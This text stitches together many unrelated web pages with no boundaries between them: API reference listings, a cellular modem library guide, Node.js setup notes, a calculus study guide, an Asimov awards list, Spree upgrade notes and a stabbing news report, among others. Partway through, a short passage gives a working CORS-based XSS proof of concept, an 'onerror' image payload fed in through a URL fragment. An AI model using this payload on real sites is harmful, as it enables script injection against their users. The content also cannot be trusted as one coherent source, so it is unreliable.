| Interface | Description |
|---|---|
| NioServer.Listener |
An interface for listening to events from a
NioServer . |
| PduMulticastReceiver.Listener | |
| PduNioMulticastReceiver.Listener | |
| UdpServer.Listener |
An interface for listening to events from a
UdpServer . |
| Class | Description |
|---|---|
| ByteBufferPool |
A pool that holds ByteBuffer objects.
|
| ConcatenatedDisPdus |
Reads concatenated PDUs, not necessarily of the same type or the same
length, from a binary file.
|
| CoordinateConversions |
Converts DIS (x,y,z) rectilinear coordinates (earth-centered RH coordinate system)
to latitude and longitude, in radians.
|
| CoordinateTransformer |
Abstract superclass for doing global coordinate transforms.
|
| DisMarshaller |
Marhsalls a Java object PDU to IEEE DIS, optionally changing coordinate systems
of some PDUs to conform to the desired coordinate system.
|
| DisTime |
DIS time units are a pain in the ass.
|
| EulerConversions |
Class contains methods that convert to Tait_Bryan_angles (i.e., roll, pitch
and yaw/heading) given the position (i.e., latitude, longitude) and the
euler angles (i.e., psi, theta, and phi).
|
| NioServer |
A robust class for establishing simultaneous TCP and UDP servers and manipulating
their listening ports.
|
| NioServer.Event |
An event representing activity by a
NioServer . |
| PduFactory |
Simple factory for PDUs.
|
| PduMulticastReceiver |
A UDP server that receives DIS PDU packets and fires off events
to interested parties.
|
| PduMulticastReceiver.Event | |
| PduNioMulticastReceiver |
A UDP server that receives DIS PDU packets and fires off events
to interested parties.
|
| PduNioMulticastReceiver.Event | |
| UdpServer |
Used in support of
PduMulticastReceiver . |
| UdpServer.Event |
An event representing activity by a
UdpServer . |
| VariableLengthData |
DIS has a frequent problem of shifting between units when describing
the data length of some fields.
|
| Enum | Description |
|---|---|
| DisMarshaller.TimestampStyle |
The various formats we can use for the timestamp format in the PDU header when marshalled
|
| NioServer.State |
One of four possible states for the server to be in:
|
| UdpServer.State |
One of four possible states for the server to be in:
|
| VariableLengthData.DataLengthUnits |
What units does the length field use? Typically bytes (octet)
but also often bits.
|
| VariableLengthData.PadToBoundary |
We want the record as a whole to end on a byte, 16 bit word, 32 bit
word, or 64 bit word boundary, so we pad to reach that.
|


|
CellularHelper
|
A library to access useful things from the Electron, E Series, Boron, and B Series cellular modem
The simple information calls query information from the modem and return a String.
These are all just various bits of data from the modem or the SIM card.
You might find the ICCID (SIM Number) to be useful as well.
Cellular.on()
needs to have been called, which happens automatically in automatic mode (the default).
Note that if you are using SYSTEM_THREAD(ENABLED)
or SYSTEM_MODE(SEMI_AUTOMATIC)
or SYSTEM_MODE(MANUAL)
you must also wait after turning the modem on. 4 seconds should be sufficient, because Cellular.on()
is asynchronous and there's no call to determine if has completed yet. Instead of a delay, you could also use cellular_on(NULL)
which blocks until the modem is turned on.
For full information about these commands, consult the API documentation which describes these functions in much more detail.
These functions can only be used after connecting to the cellular network.
Returns a string containing the operator name, for example AT&T or T-Mobile in the United States.
Example output:
The operator name is not available on LTE Cat M1 devices (SARA-R410M-02-B).
Returns the RSSI (signal strength) value and a quality value.
The RSSI is in dBm, the standard measure of signal strength. It's a negative value, and values closer to 0 are higher signal strength.
The quality value is 0 (highest quality) to 7 (lowest quality) or 99 if the value unknown. It's typically 99 for 2G connections. The qual value is described in the u-blox documentation, and it's returned by the call, but you probably won't need to use it.
The rssiToBars()
method converts the RSSI to a 0 to 5 bars, where 5 is the strongest signal.
The CellularHelper.getExtendedQualResponse()
is available on LTE Cat M1 devices and returns LTE specific parameters like the RSRP.
The method getEnvironment returns cell tower information. The is the u-blox AT+CGED command.
The first line declares a variable to hold up to 8 neighbor towers.
The first getEnvironment call tries to get the serving cell (the one you're connected to) and the neighbor cells. This only works for me on the 2G (G350) Electron.
If that fails, it will try again only using the serving cell information.
This sample just prints the information to serial debug:
Note that the rssi will always be 0 for 3G towers. This information is only returned by the AT+CGED command for 2G towers. You can use getRSSIQual() to get the RSSI for the connected tower; that works for 3G.
This function returns the location of the Electron, using cell tower location. This call may take 10 seconds to complete!
The locResp contains the member variables:
This only works on 2G/3G devices, and a better alternative in most cases is to use the google-maps-device-locator to do the location query on the cloud-side instead of on-device.
The simple demo tests all of the basic functions in the library, displaying the results to USB serial.
The code examples in this document were taken from this example.
This is a demo program that uses the cellular modem to scan for available operators, frequency band used, and signal strength. It prints a result like this to USB serial:
It should work even when you can't connect to a tower and also display carriers that are not supported by your SIM. (It only displays carriers compatible with the GSM modem, however, so it won't, for example, display Verizon in the United States since that requires a PCS modem.)
This is a very time consuming operation (it can take 2 minutes or longer to run) and it's pretty rarely needed, so it builds on the CellularHelper library but the commands it uses (AT+COPS and AT+COPN) are not part of the library itself because they're so rarely needed.
To build a binary for this, you can download the repository and use the Particle CLI compiler from the top level of it:
Then you can flash it to your Electron in DFU mode (blinking yellow):
The 3-select-carrier example shows how to prefer a certain carrier when multiple carriers are supported by the SIM card.
cellular_on(NULL)
or Cellular.on()
(see comments in the code).The 2-show-carriers example prints out the MCC/MNC for carriers at your location.
On a cold boot, you might see something like this in the USB serial debug log:
Then, later:
If you do a warm boot after setting:
This demo uses the u-blox Cell Locate feature to find the latitude, longitude, and elevation of the device.
This only works on 2G and 3G devices, not LTE Cat M1. Another alternative is to use google-maps-device-locator which works on all devices, and is also generally much faster.
Previously getting the cell tower information required a variety of techniques that depended on the cellular modem and generation of device. In Device OS 1.2.1 and later, it's now easy to query this information from Device OS. This example shows how.


MPPT Version 1.1
Autostart at Boot?
https://www.instructables.com/id/Nodejs-App-As-a-RPI-Service-boot-at-Startup/
requires
sudo npm install forever -g
to be able to run this as non-root user:
https://raspberrypi.stackexchange.com/questions/40105/access-gpio-pins-without-root-no-access-to-dev-mem-try-running-as-root
Three methods:
SysVinit
Systemd
Upstart
https://unix.stackexchange.com/questions/106656/how-do-services-in-debian-work-and-how-can-i-manage-them
Preferred:
Systemd
Examples:
https://www.raspberrypi.org/documentation/linux/usage/systemd.md
https://learn.adafruit.com/running-programs-automatically-on-your-tiny-computer/systemd-writing-and-enabling-a-service
https://nodesource.com/blog/running-your-node-js-app-with-systemd-part-1/
Support
Q: PC simulation getting serialport version error
Error: Error: The module '/node_modules/serialport/build/Release/serialport.node'
was compiled against a different Node.js version using
NODE_MODULE_VERSION 48. This version of Node.js requires
NODE_MODULE_VERSION 57. Please try re-compiling or re-installing
A: Possible solutions:
method 1
run your program with an older version of node by installing Node Version Manager nvm
git clone https://github.com/creationix/nvm.git ~/.nvm
cd ~/.nvm
git checkout `git describe --abbrev=0 --tags`
cd ..
. ~/.nvm/nvm.sh
Add these lines to ~/.bashrc
export NVM_DIR="$HOME/.nvm"
[ -s "$NVM_DIR/nvm.sh" ] && . "$NVM_DIR/nvm.sh" # This loads nvm
Install and use different node version
nvm install 6
nvm use 6
method 2
Try completely removing node and reinstalling.
sudo apt remove nodejs
delete .npm folder in home
delete .nvm folder in home
delete package json lock file
delete package.json file
sudo apt install nodejs
try running
sudo node server.js
install node modules as requested
npm install express
etc


Toggle navigation
Robot Art
Painting Control
Pin Control
Stepper Control
{% block content%} {% endblock %}


Exam 2 Study Guide
Logistics
Date:
Thursday, October 24, 2019
Time: 8:45pm-10:15pm ET - (it is a 1.5 hour exam)
Location: Your exam location is posted on UBlearns.
What to Bring: You should bring multiple pens / pencils, your approved calculator, and a photo ID.
Calculator: You are allowed to use only the Texas Instruments TI-30XIIS calculator on the exam. All other calculators are prohibited. See the Calculator and Reference Policy in the syllabus for more details.
Photo ID: You must bring a photo ID with you to your test site (either a UB student ID or a state-issued ID like a driver's licencse).
What Not to Bring: Do not bring any bags, books, notes, formula sheets, or other loose items.
- No Formula Sheets: You are not allowed any outside references (e.g., cheat sheets, formula sheets, note cards, or textbooks). See the Calculator and Reference Policy in the syllabus for more details.
Material
Learning Outcomes Being Tested
Below is the list of potential exam questions for each section covered in lecture.
Section 3.1
Additional Practice 3.1 #3-13(odd), 23, 29, 33, 35, 45, 51, 55 (textbook)
- Calculate the derivative of a constant function.
- Calculate the derivative of \(x^{n}\) using the power rule.
- Calculate the derivative of a function by first rewriting it as a power function (use negative exponents and eliminate root signs if necessary).
- Calculate derivatives of polynomials.
- Calculate derivatives of functions involving \(e^{x}\).
- Calculate second derivatives for any of the above functions.
Section 3.2
Additional Practice 3.2 #3-15(odd), 19, 23, 27, 29, 31, 49 (textbook)
- Differentiate a function using the Product Rule.
- Differentiate a function using the Quotient Rule.
Section 3.3
Additional Practice 3.3 #1-17(odd), 33, 35, 37 (textbook)
- State the derivative of all 6 trigonometric functions.
- Differentiate a function involving a trigonometric function.
- Use the product, quotient, and general power rules to show how the derivatives of \(\tan x\), \(\cot x\), \(\sec x\), and \(\csc x\) can all be found from the derivatives of \(\sin x\) and \(\cos x\).
Section 3.4
Additional Practice 3.4 #1-23(odd), 29, 51, 79, 97 (textbook)
- Compute the composition of two functions.
- Given a composite function, determine the inner function and the outer
function.
- Calculate the derivative using the general power rule.
- Calculate the derivative using the general exponential rule.
- Calculate the derivative using the general trigonometric rule.
- Calculate derivatives using the chain rule more than once.
- Use the Chain Rule to differentiate exponential functions of the form \(b^x\).
Section 3.5
Additional Practice 3.5 #5, 7, 9, 23, 27, 31 (textbook)
- Use implicit differentiation to calculate \(\frac{dy}{dx}\) in terms of \(x\) and \(y\).
- The differentiation may require use of the Product, Quotient, or Chain Rules.
- Use implicit differentiation to find the slope of the curve at a designated point.
- Determine the point where an implicitly defined function has a horizontal tangent.
- State the derivative of all 6 inverse-trigonometric functions.
- Differentiate a function involving an inverse-trigonometric function.
- Use implicit differentiation to calculate the derivative of an inverse-trigonometric function.
Section 3.6
Additional Practice 3.6 #3, 7, 9, 19, 33, 39, 41, 43 (textbook)
- Use implicit differentiation to differentiate the logarithmic function \(f(x)=\log_b x\).
- Calculate a derivative using the general logarithmic rule.
- Calculate derivatives of functions involving \(\ln(x)\).
- Simplify an expression using the logarithmic laws.
- Calculate the derivative of a function using the technique of logarithmic differentiation.
Section 3.8
Additional Practice 3.8 #3, 5, 9, 15 (textbook)
- Population Growth
- Find the relative growth rate; find \(k\).
- Determine the equation that describes the growth of a population.
- Find the size of the population after a given amount of time.
- Determine how long it will take for a growing population to reach a given size.
- Radioactive Decay
- Find the equation that describe the radioactive decay of a sample.
- Find the the relative decay rate given the half-life; find \(\lambda\).
- Determine the remaining mass after a given number of years.
- Determine how long it will take for a decaying object to reach a given mass.
- Newton's Law of Cooling
- Find the equation that describe the temperature of a cooling object.
- Determine the temperature after a given amount of time.
- Determine how long it will take to reach a certain temperature.
Section 3.10
Additional Practice 3.10 #1, 5, 9, 11, 15, 27, 33 (textbook)
- Linear Approximations
- Find the linearization of a function \(f(x)\) at a given \(x=a\).
- Approximate a number using a linearization.
- Differentials
- Compute the differential \(dy\) given a function \(y=f(x)\) (may require product, quotient, or chain rules)
- Evaluate a differential \(dy\) given values for \(x\) and \(dx\).
- Use differentials to approximate errors that occur due to approximate measurements (Compute the maximum possible error, relative error, and percentage error).


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OData Sample Test Services
Default Service
Metadata
Service Document
TripPin Service
Metadata
Service Document
TripPin Service (read write)
Metadata
Service Document
Operation Service
Metadata
Service Document
CamelCase Service
Metadata
Service Document
ModelRef Service
Metadata
Service Document
TypeDefinition Service
Metadata
Service Document
PluggableFormat Service
Metadata
Service Document
PayloadValueConverter Service
Metadata
Service Document


The Three Laws of Robotics
A robot may not injure a human being or, through inaction, allow a human being to come to harm.
A robot must obey the orders given it by human beings except where such orders would conflict with the First Law.
A robot must protect its own existence as long as such protection does not conflict with the First or Second Laws.
Awards and recognition
Asimov won more than a dozen annual awards for particular works of science fiction and a half dozen lifetime awards. He also received 14 honorary doctorate degrees from universities.
1957 – Thomas Alva Edison Foundation Award for best science book for youth, for Building Blocks of the Universe[149]
1960 – Howard W. Blakeslee Award from the American Heart Association for The Living River[150]
1962 – Boston University's Publication Merit Award[151]
1963 – A special Hugo Award for "adding science to science fiction," for essays published in the Magazine of Fantasy and Science Fiction[112]
1963 – Fellow of the American Academy of Arts and Sciences[152]
1964 – The Science Fiction Writers of America voted "Nightfall" (1941) the all-time best science fiction short story[67]
1965 – James T. Grady Award of the American Chemical Society (now called the James T. Grady-James H. Stack Award for Interpreting Chemistry)[153]
1966 – Best All-time Novel Series Hugo Award for the Foundation series[154]
1967 – Edward E. Smith Memorial Award[155]
1967 – AAAS-Westinghouse Science Writing Award for Magazine Writing, for essay Over the Edge of the Universe (in the March 1967 Harper's Magazine)[156]
1972 – Nebula Award for Best Novel for The Gods Themselves[157]
1973 – Hugo Award for Best Novel for The Gods Themselves[157]
1973 – Locus Award for Best Novel for The Gods Themselves[157]
1975 – Klumpke-Roberts Award "for outstanding contributions to the public understanding and appreciation of astronomy"[158]
1977 – Hugo Award for Best Novelette for The Bicentennial Man[159]
1977 – Nebula Award for Best Novelette for The Bicentennial Man[160]
1981 – An asteroid, 5020 Asimov, was named in his honor[10]
1983 – Hugo Award for Best Novel for Foundation's Edge[161]
1983 – Locus Award for Best Science Fiction Novel for Foundation's Edge[161]
1986 – The Science Fiction and Fantasy Writers of America named him its 8th SFWA Grand Master (presented in 1987).[162]
1987 – Locus Award for Best Short Story for "Robot Dreams"[163]
1992 – Hugo Award for Best Novelette for Gold[164]
1995 – Hugo Award for Best Non-Fiction Book for I. Asimov: A Memoir[165]
1996 – A 1946 Retro-Hugo for Best Novel of 1945 was given at the 1996 WorldCon to "The Mule", the 7th Foundation story, published in Astounding Science Fiction[166]
1997 – The Science Fiction and Fantasy Hall of Fame inducted Asimov in its second class of two deceased and two living persons, along with H. G. Wells and following editors Hugo Gernsback and John W. Campbell.[167]
2000 – Asimov was featured on a stamp in Israel[168]
2009 – A crater on the planet Mars, Asimov,[11] was named in his honor
2010 – In the US Congress bill about the designation of the National Robotics Week as an annual event, a tribute to Isaac Asimov is as follows: "Whereas the second week in April each year is designated as `National Robotics Week', recognizing the accomplishments of Isaac Asimov, who immigrated to America, taught science, wrote science books for children and adults, first used the term robotics, developed the Three Laws of Robotics, and died in April, 1992: Now, therefore, be it resolved..."[169]
2015 – Selected as a member of the New York State Writers Hall of Fame.[170]
2016 – A 1941 Retro-Hugo for Best Short Story of 1940 was given at the 2016 WorldCon to Robbie, his first positronic robot story, published in Super Science Stories, September 1940[171]
The Grand Master of science fiction and great popularizer of science, Isaac Asimov was born in Russia in 1920 and grew up in the USA. A remarkable memory helped him finish high school before he was sixteen. He gained his doctorate in chemistry in 1949. His first story was published in 1939 in the magazine Amazing stories and he went on to write nearly five hundred books and several hundred articles on various subjects. He won the Hugo Award four times and the Nebula Award once. Asimov also wrote highly successful detective mysteries, histories of science, encyclopaedias, textbooks and a two-volume autobiography. He died in 1992.
Find out more about the great Asimov and the science fiction he wrote on his Wiki Page
Coded by RyanWD


Modules
Here is a list of all modules:- Functionality by programming task
- Programming models
- Setting up scripts
- Using finite domain integers
- Integer variables
- Argument arrays
- Variable arrays
- Domain constraints
- Simple relation constraints over integer variables
- Simple relation constraints over Boolean variables
- Element constraints
- Distinct constraints
- Channel constraints
- Graph constraints
- Scheduling constraints
- Sorted constraints
- Cardinality constraints
- Extensional constraints
- Arithmetic constraints
- Linear constraints over integer variables
- Linear constraints over Boolean variables
- Unsharing variables
- Branching
- Assigning
- Search engines
- Using finite integer sets
- Set variables
- Projector constraints
- Range and value iterators for set variables
- Argument arrays
- Variable arrays
- Domain constraints
- Relation constraints
- Set operation/relation constraints
- Convexity constraints
- Sequence constraints
- Distinctness constraints
- Connection constraints to finite domain variables
- Element constraints
- Branching
- Using finite integer sets with complete domain representation
- Direct modelling
- Programming search engines
- Programming actors
- Programming variables
- Testing
- Testing finite sets with complete domain representation
- Testing finite domain integers
- Arithmetic constraints
- Basic setup
- Boolean constraints
- Channel constraints
- Circuit constraints
- Count constraints
- Distinct constraints
- Domain constraints
- Element constraints
- Extensional (relation) constraints
- Counting constraints (global cardinality)
- Linear constraints
- Minimal modelling constraints (arithmetic)
- Minimal modelling constraints (Boolean constraints)
- Minimal modelling constraints (counting)
- Minimal modelling constraints (linear constraints)
- Minimal modelling constraints (relation)
- Relation constraints
- Scheduling constraints
- Sorted constraints
- Unsharing variables in arrays
- General test support
- Testing finite sets
- General test support
- Reflection and serialization
- Programming models
- Common functionality
- Other available functionality
- Example scripts (models)


Major/New Features
Bootstrap Backend & Frontend
The most visible change will be the use of Bootstrap to replace the previous Skeleton framework. We’ve redesigned the frontend, and backend while keeping much of the previous structure to the site. We hope this will make upgrades slightly easier to port to the new Bootstrap markup. Now that we’ve updated the default css/js framework we’re hoping to begin implementing usability improvements & improved mobile support.
Rails 4.2 Support
We’ve added Rails 4.2 support laying the groundwork for further improvements. Rails 4.2 comes with ActiveJob a background job API, which we will leverage in the future to send long running tasks to Sidekiq, DelayedJob or Resque if you set them up. We’ve also already updated mailers to use the deliver later functionality so your confirmation emails will be sent in the background.
Google Analytics Enhanced Ecommerce
With the change to enhanced ecommerce tracking you should make sure to upgrade your Google Analytics account to Universal Analytics. If you use Spree’s default google analytics implementation you should be fine, but if you’ve customized these make sure to update to Universal Analytics.
Upgrade Tips
First Read Rails 4.2 Release Notes & Upgrade Guide
Spree Upgrade
If you have extensions that your store depends on, you will need to manually verify that each of those extensions work within your 3.0.x store once this upgrade is complete. Typically, extensions that are compatible with this version of Spree will have a 3-0-stable branch.
For this Spree release, you will need to upgrade your Rails version to at least 4.2.0.
gem 'rails', '~> 4.2.0'
For best results, use the 3-0-stable branch from GitHub:
gem 'spree', github: 'spree/spree', branch: '3-0-stable'
Run bundle update spree
.
Copy over the migrations from Spree (and any other engine) and run them using these commands:
rake railties:install:migrations
rake db:migrate
Verify that everything is OK. Manually test your store, and make sure it’s performing as normal. Fix any deprecation warnings you see.
Other Gotchas
SSL
SSLRequirement controller concern was removed in favor of using Rails built in ForceSSL.
It is recommended that you enable config.force_ssl = true within your production.rb file which will enforce SSL on every page.
If you were previously using ssl_required in any controllers you should now use force_ssl at the controller level if you’re not going to use force_ssl at the application level. This includes if you were previously relying on Spree’s built in use of ssl_required so make sure your checkout process properly handles SSL connections.
PaymentMethods and Trackers are no longer based on environment.
Previously payment methods and google analytics trackers could be assigned an environment, such as, production/staging/development etc.. This is no longer the case. If you previously relied on importing data from production to a development or staging environment you should ensure to sanitize and/or update these credentials to prevent submitting payments or analytics information to your production account credentials.
We recommend that you begin to manage your credentials with environment variables instead.
Noteable Changes
Also please review each of the noteable changes, and ensure your customizations or extensions are not effected. If you are affected by a change, and have any of your own tips please submit a PR to help the next person!
Full Changelog
You can view the full changes using Github Compare.
Noteable Changes
-
Switched to Bootstrap.
Jeff Dutil & Other Contributors
-
Moved Core’s helpers into Frontend.
Jeff Dutil
-
Use Google Analytics Enhanced ecommerce.
https://github.com/erikaxel
-
PaymentMethod’s and Tracker’s are no longer based on environment.
Clarke Brunsdon
-
Removed promo code field from cart page. This prevents issues with promos attempting to be used before the order is ready. e.g. Free Shipping before shipments.
Jeff Dutil
-
Removed order token usage during guest checkout.
https://github.com/spree/spree/pull/6072
-
Replace outdated Spree::Config[:mails_from] with Spree::Store.current.mail_from_address
https://github.com/spree/spree/pull/6097
-
Moved current_currency helper from Spree::Core::ControllerHelpers::Order to Spree::Core::ControllerHelpers::Store.
-
The line items order population endpoint used to accept a hash, it now accepts an array. When submitting a Post request to
/api/line_items
you will receive this deprecation warning:Ben A. Morgan
```text Passing a hash is now deprecated and will be removed in Spree 3.1. It is recommended that you pass it as an array instead.
New Syntax:
{ “order”: { “line_items”: [ { “variant_id”: 123, “quantity”: 1 }, { “variant_id”: 456, “quantity”: 1 } ] } }
Old Syntax:
{ “order”: { “line_items”: { “1”: { “variant_id”: 123, “quantity”: 1 }, “2”: { “variant_id”: 123, “quantity”: 1 } } } } ```
-
Enable configuration of
Carmen.i18n_backend.locale
atseeds.rb
You can localize the
Country
andState
seed data by adding Carmen configuration to yourseeds.rb
.
See example below:```ruby # add Carmen counfiguration with the following 2 lines require ‘carmen’ Carmen.i18n_backend.locale = :ja
Spree::Core::Engine.load_seed if defined?(Spree::Core) Spree::Auth::Engine.load_seed if defined?(Spree::Auth) ```
https://github.com/spree/spree/pull/6607
Tomoki Odaka


15-year-old boy charged with murder over Milton Keynes stabbings
Dom Ansah and Ben Gillham-Rice were fatally stabbed by masked attackers at a private party on the Emerson Valley estate in Milton Keynes on October 19
A 15-year-old boy has been charged with murder over the fatal stabbing of two teenagers at a house party.
Dom Ansah and Ben Gillham-Rice were fatally stabbed by masked attackers at a private party in Emerson Valley, Milton Keynes on October 19.
The teenager was arrested on Thursday and has been charged with two counts of murder and two counts of attempted murder, Thames Valley Police said.
He will appear at Milton Keynes Magistrates’ Court on Friday.
Two other people who were arrested on suspicion of assisting an offender have been released under investigation.
Ryan Brown, 23, and a 17-year-old boy who cannot be named for legal reasons, were also stabbed in the October attack and left with serious but non-life-threatening injuries.
Three other people have already been charged in relation to the incident.
Earl Bevans, 22, of no fixed address, Charlie Chandler, 21, from Bletchley, and a 16-year-old boy who cannot be named due to his age are accused of two counts of murder and two counts of attempted murder.
The three previously charged suspects have been remanded in custody and will appear at Luton Crown Court in January 2020.
A 27-year-old man who was arrested on October 26 on suspicion of conspiracy to murder has since been released under investigation.


Introduction
In the past, most of mobile service income was coming from Short Message Services(SMS). Later, it came from Multimedia Messaging Services(MMS), Instant Messaging(IM), email & mobile Internet. Today, it’s from Tracking users & applications. Location based service is an innovative technology that provides information based on the geographical location of the user. Knowing the physical position of a user at any given time can bring huge potential to application service providers. Which allows mobile users to get services based on their geographical location.
In this project, we’re going to introduce a LBS Oriented Homeland Security, the user of this service will be able to look after the location history of people which had an instance in the data base.


Javascript heavy websites or 'one-page websites' make heavy use of scripting and AJAX. Attemp CORS XSS The following PHP file, which contains a CORS header allowing the remote XHR call is enough to render the XSS payload included on it.
cors.php
<?php header(“Access-Control-Allow-Origin: *”); ?>

and browse to site:
brutelogic.com.br/tests/cors/#//localhost/tests/cors/cors.php
Simpler, but essentially the same thing
#data:text/html,<img src=1 onerror=alert(document.domain)
brutelogic.com.br/tests/cors/#data:text/html,<img src=1 onerror=alert(document.domain)


About the author
Robert H. Lustig
Professor of Pediatrics in the Division of Endocrinology at the University of California, San Francisco (UCSF)
Robert H. Lustig, M.D., MSL, is professor of pediatrics in the Division of Endocrinology and a member of the Institute for Health Policy Studies at University of California, San Francisco. He has authored 120 peer-reviewed articles and 70 reviews, as well as The Fat Chance Cookbook and the upcoming The Hacking of the American Mind. He has mentored 30 pediatric endocrine fellows and trained numerous other allied health professionals. He is the former chairman of the Obesity Task Force of the Pediatric Endocrine Society, a member of the Obesity Task Force of the Endocrine Society, and a member of the Pediatric Obesity Devices Committee of the U.S. Food and Drug Administration. He is also the president of the nonprofit Institute for Responsible Nutrition, dedicated to reversing childhood obesity and Type 2 Diabetes. He consults for several childhood obesity advocacy groups and government agencies.


{% extends 'base.html' %} {% load static %} {% block body_class %} my_new_body_css_class {% endblock %} {% block content %}
This is an Ensemble Method. You can learn more about other ensemble methods boosting and stacking by clicking the links!
One of the techniques we have used to increase the precision of our model predictions is a method called bootstrap aggregation, or bagging for short. This method is split into two parts, bootstrapping and aggregating ("Aptly named this method is" - Yoda). The theory is quite simple: combining the predictions of many" weak" models will yield a on average more accurate prediction. We train a number of similar weak models, and use their average as our final predictions. We call these models weak because we assume them to be worse than our bagging classifier.
Bootstrapping is a way to handle training data. If we trained all our sepereate models on the same exact data, their faults would probably be pretty similar. Due to some elements of chance there would be some variation, but not much. Instead, what we do is create as many copies of our data as we have models, and then we replace a small random part of the data with duplicates of data we already have in the data set. For example, if the original dataset was (1,2,3), a single dataset for each weak model in the classifier could be (1,1,2), (2,3,3) and (3,3,1).
The image above illustrates bootstrapping of data and then assembling all classifiers to a single one.
When all the weak models have made trained and made predictions on their own version of the data,
they are combined, for example by taking the average of all predictions and rounding to neares integer,
or by majority vote.
There you have it! It (almost) isn't any more complicated than that!


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How many mass shootings since Sandy Hook?
MAP: Mass shootings in the United States since 2013
Updated June 19, 2018
Published October 3, 2017
Since the mass shooting at Sandy Hook Elementary School in Newtown, Connecticut, more than 1,700 died in subsequent mass shootings. More than 6,000 suffered injuries in mass shootings.
Since the October 2017 Las Vegas mass shooting, 238 have died in mass shootings and more than 819 have been injured, including the 26 killed and 20 injured in the Nov. 5 mass shooting in Texas.
Since the February 2018 Parkland school shooting, 85 have died in mass shootings and 430 have been injured.
Explore these grim incidents in this map of mass shootings in the United States.
PHOTO GALLERY: Daily News front-pages on mass shootings
More maps: Mass shootings from Newtown to the Las Vegas mass murder, and mass shootings as of the Newtown shooting’s five-year anniversary.
Timeline and map: School shootings, 2018.
Data last updated June 19, 2018


EmagenTV offers a set of powerful features designed to make any display function like any professional signage. With a clear understanding of your communication needs we have everything you need to meet your business goals.
Schedule and publish your messages in any way you wish: by date, hour, day of the week or location.
Play a campaign using multiple regions and assigning different medias to each zone. Customize it with as many zones as you want.
Create users with different access rights and get a detailed report tracking what each user has performed.
Creating your campaigns by simply dragging your medias and Apps into the timeline.
Get a detailed report confirming each and every time a campaign has been played back.
Detect any issue so you can take immediate action and keep track of every player performance.
Create dynamic content using Apps. Weather info, real-time clock, RSS feeds, YouTube videos, Facebook posts, directory templates, and much more!


Sponsors
Principal funding for Ptolemy II comes from
DARPA, the Defence Advanced Research Project Agency.
Additional funding comes from the following companies:
- Agilent Technologies
- Cadence Design Systems
- Hitachi
- Hughes Space and Communications (now Boeing)
- Philips
and the following organizations:
- State of California MICRO Program
- GSRC (Gigascale Silicon Research Center), which is funded by
- Seminconductor Industry Association (SIA)
- SEMI/SEMATECH
- MARCO (Microelectronics Advanced Research Corporation)


SANCTIONS
1. When considering an appropriate sanction, the SDC takes account of all mitigating and aggravating
factors presented during the hearing. Further, when considering the appropriateness of the disciplinary
measures to be imposed, the SDC ensures that such disciplinary measures are, as far as possible, appropriate
to and commensurate with the nature and gravity of the misconduct of which the student has been found guilty.
And still further, it is noted that the SDC is also bound by the rules of administrative law and natural justice
and the principles of precedent.
2. After finding a student guilty of misconduct, the SDC may impose one or more of the following sanctions:
2.1 revocation of a degree, diploma or other qualification obtained from the University in an improper manner;
2.2 a written reprimand and/or warning;
2.3 denial of the opportunity to enrol as a student at the University;
2.4 a fine not exceeding twice the annual tuition fee for the full first year of study of the qualification for
which the student is registered;
2.5 payment of compensation or requiring the accused student to repair the damage caused by his/her misconduct;
2.6 denial of the opportunity to register for a particular study module or course offered by the University;
2.7 annulment of examination results and/or withdrawal of a credit(s) obtained in a study modules and/or courses;
2.8 confirmation of the temporary suspension of a student, and/or the suspension of the student for a specified period
or further period subject to any condition(s) which the SDC deems reasonable;
2.9 denial of the opportunity to register or enrol again as a student at the University for a specified period;
2.10 any other appropriate sanction(s) which the SDC deems suitable in the particular circumstances;
3. A student who is temporarily or permanently deprived in terms of this Code of the opportunity which he/she
has as a student or is temporarily or permanently denied admission to the University, forfeits any claim for
repayment, reduction or remission of moneys paid or payable to the University.


- Source:
Methods
(static) $delegate(target, selector, type, handler)
Delegate an eventListener to a parent. Use in View.
Parameters:
| Name | Type | Description |
|---|---|---|
target |
object | The target. |
selector |
function | Check that there is a match between children and parents. |
type |
bolean | The type of event. |
handler |
function | A callback executed if there is a certain condition. |
- Source:
(static) $on(target, type, callback, useCapture)
Parameters:
| Name | Type | Description |
|---|---|---|
target |
object | The target. |
type |
bolean | Focus or Bluer. |
callback |
function | Callback function |
useCapture |
object | The element |
- Source:
(static) $parent(element, tagName)
Find the element's parent with the given tag name:$parent(qs('a'), 'div');
Parameters:
| Name | Type | Description |
|---|---|---|
element |
object | The active element. |
tagName |
string | The element tagName. |
- Source:
(static) $qs()
Select the items by the CSS selector. qs = querySelector Use in View.
- Source:
(static) $qsa()
Select the items by the CSS selector. qsa = querySelectorAll Use in View.
- Source:


In this how-to-guide, we will apply PDO to the creation of a video database. We will cover the basic implementations for PDO in this database example, compare it to MySQLi format where there are significant differences, and show the end result database.
Brief information on PDO is provided in this guide, but the majority of the information will be left for other more indepth tutorials available online. A few links is provided on the 'Overview' page at the end, which will give you more background information on PDO. A link to the video database is also given. Here we will focus on applying PDO to a specific example--a video database.
PDO stands for PHP Data Object. PDO is a way for the PHP programming langugage to speak with the MySQL database. More specifically, PDO is a type of application programming interface (API) that is used to connect PHP programs to a MySQL database. Altogether, there are three API's available to connect PHP to MySQL databases--the other two are MySQL and MySQLi.
There are three main benefits of PDO:it provides a robust API, it allows use of multiple different databases, and PDO offers prepared statement ability. Translation as to what this will do for you: flexible, elegant, and secure code.
If you want to be able to use more than one database, PDO is the way to go. The added level of security is also a plus.
Onward to the next section in which we will learn to connect with PDO...


supervisord
Table of Contents
-
Module Description - What the module does and why it is useful
-
Reference - An under-the-hood peek at what the module is doing and how
Module Description
This module installs, configures, and manages supervisord while minimizing the use of opinionated templates or sets of parameters.
For more details on supervisor and the capabilities it provides, please see supervisord.org/index.html
This module uses Puppet 4 data types as well as providing puppet data in the module. It will not work with puppet versions earlier than 4.7 and is currently written to support supervisor on CentOS/RHEL 7. Other operating systems will be added if time permits.
This module relies on the stankevich/python python module for installation of pip and supervisor; however, the management of python can be disabled in the supervisord module if you are already using a different method for installation of the python prerequisites. Also, the management of the supervisord.service unit file and the systemd service management can be disabled in this module if another method is currently in use for managing these items.
At this time, this module is not capable of managing groups or programs in the /etc/supervisor/conf.d directory. This will be added at a later time using similar methods to the management of settings in /etc/supervisor/supervisord.conf .
This module was written primarily in support management of Galaxy, an open web-based platform for accessible, reproducible, and transparent computational biomedical research. Use of this module for other purposes may work.
Setup
What supervisord affects
-
Package(s): supervisor (via pip, not epel or other package repositories), python-dev, python2-pip, python-virtualenv.
-
File(s):
-
/etc/supervisor
-
/etc/supervisor/conf.d
-
/etc/supervisor/supervisord.conf
-
/etc/systemd/system/supervisord.service
-
/var/log/supervisor
-
/var/run/supervisor
-
-
Service(s): supervisord.service
Setup Requirements
This module depends on the following puppet modules:
